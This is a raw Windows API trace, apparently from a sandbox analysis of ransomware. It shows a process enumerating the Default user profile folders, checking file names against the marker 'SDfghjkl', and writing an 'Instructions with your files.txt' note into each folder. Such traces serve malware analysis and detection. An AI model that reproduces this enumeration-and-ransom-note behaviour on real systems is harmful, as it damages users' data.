[0132.506] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.507] CloseHandle (hObject=0x10c) returned 1
[0132.507] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.507] GetProcessHeap () returned 0x810000
[0132.507] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.507] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
[0132.507] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings") returned 35
[0132.507] GetProcessHeap () returned 0x810000
[0132.507] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.507] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings\\*") returned 37
[0132.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.507] GetProcessHeap () returned 0x810000
[0132.507] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.507] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
[0132.507] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music") returned 26
[0132.507] GetProcessHeap () returned 0x810000
[0132.507] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.507] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\*") returned 28
[0132.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Music\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.507] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\.") returned 28
[0132.508] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.508] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.508] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\..") returned 29
[0132.508] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.508] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.508] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini") returned 38
[0132.508] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.508] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.508] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\Instructions with your files.txt") returned 59
[0132.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\Instructions with your files.txt" (normalized: "c:\\users\\default\\music\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.508] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.509] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.509] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.509] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.509] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.509] CloseHandle (hObject=0x10c) returned 1
[0132.509] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.509] GetProcessHeap () returned 0x810000
[0132.509] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.509] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents") returned 33
[0132.510] GetProcessHeap () returned 0x810000
[0132.510] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.510] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents\\*") returned 35
[0132.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.510] GetProcessHeap () returned 0x810000
[0132.510] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.510] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood") returned 28
[0132.510] GetProcessHeap () returned 0x810000
[0132.510] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.510] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood\\*") returned 30
[0132.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.510] GetProcessHeap () returned 0x810000
[0132.510] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.510] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT") returned 31
[0132.510] StrStrIW (lpFirst="NTUSER.DAT", lpSrch="SDfghjkl") returned 0x0
[0132.510] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG") returned 35
[0132.510] StrStrIW (lpFirst="NTUSER.DAT.LOG", lpSrch="SDfghjkl") returned 0x0
[0132.510] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 36
[0132.510] StrStrIW (lpFirst="NTUSER.DAT.LOG1", lpSrch="SDfghjkl") returned 0x0
[0132.510] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
[0132.510] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 36
[0132.510] StrStrIW (lpFirst="NTUSER.DAT.LOG2", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 76
[0132.511] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 113
[0132.511] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 113
[0132.511] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\ntuser.ini") returned 31
[0132.511] StrStrIW (lpFirst="ntuser.ini", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures") returned 29
[0132.511] GetProcessHeap () returned 0x810000
[0132.511] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.511] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\*") returned 31
[0132.511] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.511] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\.") returned 31
[0132.511] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\..") returned 32
[0132.511] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.511] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.511] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini") returned 41
[0132.512] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.512] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.512] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\Instructions with your files.txt") returned 62
[0132.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\default\\pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.512] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.513] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.513] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.513] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.513] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.513] CloseHandle (hObject=0x10c) returned 1
[0132.513] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.513] GetProcessHeap () returned 0x810000
[0132.513] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.513] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
[0132.513] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood") returned 30
[0132.513] GetProcessHeap () returned 0x810000
[0132.513] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
